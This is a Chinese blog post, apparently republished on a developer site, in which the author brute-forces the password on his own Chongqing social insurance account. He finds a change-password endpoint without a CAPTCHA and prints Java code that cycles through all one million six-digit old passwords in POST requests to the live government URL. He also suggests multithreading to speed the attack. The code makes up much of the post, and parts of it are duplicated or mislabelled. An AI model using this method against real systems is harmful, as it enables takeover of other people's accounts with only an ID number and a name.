强制更改社保卡密码,跟社保局的碰撞试验

昨天早晨,我妈叫我把回来重庆后参加工作的社保缴纳的截图发给她,她给村里的一个类似于会计工作的人,用于统计整个村的社保缴纳情况,我一想,这个简单呐,以前在惠州的时候也给过一次,登录网站 + 截图,简单快捷。

可是当我登录上重庆的社保查询界面的时候,才发现事情并没有那么简单,第一,我好想没有社保卡,第二, 我并不知道社保查询密码。于是我发微信问了下我们 HR 社保情况,谁知道我们美丽大方温柔漂亮的 HR 居然叫我直接联系第三方参保方,也就是重庆中智。一个电话打过,没人接,二个电话打过去没人接,三个电话打过去还是没人接。我大概周末这群人可能是不上班的,可是俺妈催得紧咋办呢。

所以我索性打电话给重庆社保局,看看能不能重置我的登录密码。一个电话打过,没人接,二个电话打过去没人接,三个电话打过去还是没人接。这个就有点绝望了,各位大佬们都是要休周末的,我有点绝望。

当我百无聊赖的点着登录界面,胡乱试试我平时喜欢用的密码的时候,我在想,为什么不来一场激烈的碰撞。你看看 6 位数的数字密码。排列组合也就 1000000 种可能而已,学这个行业,不能白瞎了呀,区区官方网站,又岂能奈我何,所以我打算去 gayhub 上搜一搜验证码的破解,就这破验证码做得,不是随随便便就可以搞定的吗。

还没准备搜,看到图中有个修改密码的选项,于是就点了,结果。。。。是个伪按钮,根本点不动,什么都没有发生,我一想这不可能啊,好歹是官方的网站,怎么可能放个如此难看的按钮在这里摆着,要做样子也要摆个好看的不是,这么难看的按钮,肯定是有用的。于是结合我在 TCL 的经历,我觉得这个按钮应该只有在 ie8 以及以下的浏览器才能生效,but 我总不能去下载一个 ie8 吧。

我觉得试试我的前端水准,F12 按下去,

<a onclick="changePwd();;;" style="margin-left: 10px; text-decoration: underline;">修改个人查询密码</a>

我也不知道这个三个分号是个什么意思,所以我顺便找到了 changePwd() 的函数

function changePwd() {
        var url = "/ggfw/pages/wxcx/grmmgl.jsp";
        window.showModalDialog(url, this,
            "center:1;dialogWidth:700px;dialogHeight:500px;");
}

所以搞了半天,这个只是彪出个弹窗而已,将链接地址复制到浏览器

如此清新的界面,不禁让我感到一丝尊敬,没有了验证码的干扰,真是让我无比兴奋,输入了正确的原文,然后点击提交,F12,我就看到了我想看到的东西,也就是 http 的 header

可以看到这个平凡到不能在平凡的请求,几乎没有任何添加剂,简直是完美。

开始我的编程之旅,就用这个修改密码的链接,还省去了我去下载和验证破解验证码的代码的过程,这个样简单的碰撞密码的代码,我一个小时能写一打儿

public static String Post(String strURL, String params) {
try {
URL url = new URL(strURL);// 创建连接
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setDoOutput(true);
connection.setDoInput(true);
connection.setUseCaches(false);
connection.setInstanceFollowRedirects(true);
connection.setRequestMethod("POST"); // 设置请求方式
connection.setReadTimeout(100);
connection.connect();
OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "UTF-8"); // utf-8编码
out.append(params);
out.flush();
out.close();

InputStream is = connection.getInputStream();

byte\[\] temp = new byte\[connection.getContentLength()\];
is.read(temp);
String result = new String(temp, "UTF-8"); // utf-8编码
return result;

} catch (IOException e) {
return "IOException";
}
}
public static String Post(String strURL, String params) {  
        try {  
            URL url = new URL(strURL);// 创建连接  
            HttpURLConnection connection = (HttpURLConnection) url.openConnection();
            connection.setDoOutput(true);  
            connection.setDoInput(true);  
            connection.setUseCaches(false);  
            connection.setInstanceFollowRedirects(true);  
            connection.setRequestMethod("POST"); // 设置请求方式  
            connection.setReadTimeout(100);
            connection.connect();  
            OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "UTF-8"); // utf-8编码  
            out.append(params);  
            out.flush();  
            out.close();  

            InputStream is = connection.getInputStream(); 

            byte\[\] temp = new byte\[connection.getContentLength()\];  
            is.read(temp);
            String result = new String(temp, "UTF-8"); // utf-8编码  
            return result;  

        } catch (IOException e) {  
            return "IOException";
        }
    }

以下是解析成字符串

public static String getPwdString(int index) {
        int length = String.valueOf(index).length();
        switch (length) {
            case 1:
                return "00000"+index;
            case 2:
                return "0000"+index;
            case 3:
                return "000"+index;
            case 4:
                return "00"+index;
            case 5:
                return "0"+index;
            case 6:
                return ""+index;
            default:
                return "";
        }
    }
public static String getPwdString(int index) {
        int length = String.valueOf(index).length();
        switch (length) {
            case 1:
                return "00000"+index;
            case 2:
                return "0000"+index;
            case 3:
                return "000"+index;
            case 4:
                return "00"+index;
            case 5:
                return "0"+index;
            case 6:
                return ""+index;
            default:
                return "";
        }
    }

以下是主函数 public static String getPwdString(int index) { int length = String.valueOf(index).length(); switch (length) { case 1: return “00000”+index; case 2: return “0000”+index; case 3: return “000”+index; case 4: return “00”+index; case 5: return “0”+index; case 6: return “”+index; default: return “”; } }

public static void main(String\[\] args) throws InterruptedException {
        String url = "http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do";
        String urlpara = "bh=50010\*\*\*\*\*\*\*\*45\*\*\*5&xm=文昌平&ymm=pwd&xmm=123456&rmm=123456";

        for(int i=0;i<1000000;i++) {
            String pwdd = getPwdString(i);
            if(pwdd.equals("")) {
                System.out.println("获取密码出错");
                System.exit(0);
            }
            String result = Post(url,urlpara.replace("pwd", pwdd));
            while("IOException".equals(result)) {
                result = Post(url,urlpara.replace("pwd", pwdd));
            }
            System.out.println(i);
            Bean bean = JSONUtil.json2Object(result, Bean.class);
            if(bean.getCode()!=0) {
                System.out.println("设置成功");
                System.exit(0);
            }
        }
    }

于是在一段时间后,程序退出了,设置密码成功,我用我的新密码登录,果然就通过了。觉得很有意思,在此分享。

后记,这个代码有很大的提升空间,你要知道,请求一百万次 http 请求还是很费时间的,如果能搞成多线程的话,将会非常完美,也许 10 分钟就能出结果,由于我目的已经达到了,所以也就没有去接着研究,而且写多线程的时间,也许我答案已经找到了,毕竟如果密码是 1 开头或者 0 开头的话,就会很快。

以上,分享给各位

原文链接:https://www.506064.com/programming/2260.html

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏写代码的海盗

初生牛犊不怕虎 golang入坑系列

读前必读,下面所有内容都是来自这里。 放到这里的目的,就是为了比对一下,哪里的读者多。。(X := '难' || X :='耐' || X := '好' ) 都...

30740
来自专栏平凡文摘

成为java高级程序员需要掌握哪些

21630
来自专栏Java3y

纳税服务系统七(投诉管理模块)【显示投诉信息、处理回复、我要投诉、Quartz自动受理、统计图FusionCharts】

投诉受理管理模块 接下来,就是来开发我们的投诉受理管理模块了…..我们来看看原型图与需求吧: 查询用户提交的投诉信息,可以根据投诉部门(部门A/B)、投诉时间段...

63270
来自专栏用户画像

1.2.2 计算机硬件的基本组成

1)计算机硬件系统由运算器、控制器、存储器、输入设备、输出设备五大部分组成的; 2)指令和数据以同等的地位存于存储器中,并可按地址寻访。

8810
来自专栏Python中文社区

Python进行数据可视化分析快速教程实例

Jupyter Notebook介绍 Jupyter Notebook是一个交互式笔记本,支持运行 40 多种编程语言。IPython notebook 是一个...

28660
来自专栏Java架构

京东Java架构师讲解购物车的原理及Java实现

1)用户没登陆用户名和密码,添加商品, 关闭浏览器再打开后 不登录用户名和密码 问:购物车商品还在吗? 

56450
来自专栏用户2442861的专栏

2014 360校园招聘技术类笔试题

原文:http://blog.csdn.net/lanxuezaipiao/article/details/41892553

17710
来自专栏点滴积累

geotrellis使用(二十九)迁移geotrellis至1.1.1版

目录 前言 升级过程 总结 一、前言        由于忙着安装OpenStack等等各种事情,有半年的时间没有再亲密的接触geotrellis,甚至有半年的时...

37340
来自专栏菩提树下的杨过

重温Delphi之:如何定义一个类

先谈谈工具问题: 虽然d7很经典,但毕竟是02年出的开发工具了,对于习惯了vs2008被微软宠坏的.net程序员来讲,重返d7已经有点找不着感觉了(起码连最基本...

26570
来自专栏积累沉淀

Java设计模式(十七)----责任链模式

责任链模式 一、 概念 二、 引子 三、 结构 四、 具体案例 一、概念 责任链模式是一种对象的行为模式。...

20490

扫码关注云+社区

领取腾讯云代金券